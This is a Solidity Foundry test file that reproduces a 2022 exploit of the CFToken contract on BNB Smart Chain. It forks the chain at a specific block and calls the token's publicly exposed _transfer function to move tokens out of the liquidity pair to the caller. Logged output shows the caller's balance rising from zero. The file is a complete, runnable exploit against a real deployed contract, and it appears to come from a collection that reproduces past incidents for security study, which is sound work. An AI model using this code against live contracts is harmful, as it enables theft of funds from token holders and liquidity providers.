src/test/2022-04/cftoken_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// source
8// https://mp.weixin.qq.com/s/_7vIlVBI9g9IgGpS9OwPIQ
9// attack tx: 0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0
10// test result
11 
12// > forge test --contracts ./src/cftoken_exp.sol -vv
13// [⠘] Compiling...
14// No files changed, compilation skipped
15 
16// Running 2 tests for test/Counter.t.sol:CounterTest
17// [PASS] testIncrement() (gas: 28334)
18// [PASS] testSetNumber(uint256) (runs: 256, μ: 27476, ~: 28409)
19// Test result: ok. 2 passed; 0 failed; finished in 16.14ms
20 
21// Running 1 test for src/cftoken_exp.sol:ContractTest
22// [PASS] testExploit() (gas: 86577)
23// Logs:
24//   Before exploit, cftoken balance:: 0
25//   After exploit, cftoken balance:: 930000000000000000000
26 
27// Test result: ok. 1 passed; 0 failed; finished in 9.72s%
28 
29contract ContractTest is Test {
30    address private cftoken = 0x8B7218CF6Ac641382D7C723dE8aA173e98a80196;
31    address private cfpair = 0x7FdC0D8857c6D90FD79E22511baf059c0c71BF8b;
32    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
33 
34    function setUp() public {
35        cheats.createSelectFork("bsc", 16_841_980); //fork bsc at block 16841980
36    }
37 
38    function testExploit() public {
39        emit log_named_uint("Before exploit, cftoken balance:", ICFToken(cftoken).balanceOf(address(msg.sender)));
40 
41        ICFToken(cftoken)._transfer(cfpair, payable(msg.sender), 1_000_000_000_000_000_000_000);
42 
43        emit log_named_uint("After exploit, cftoken balance:", ICFToken(cftoken).balanceOf(address(msg.sender)));
44    }
45}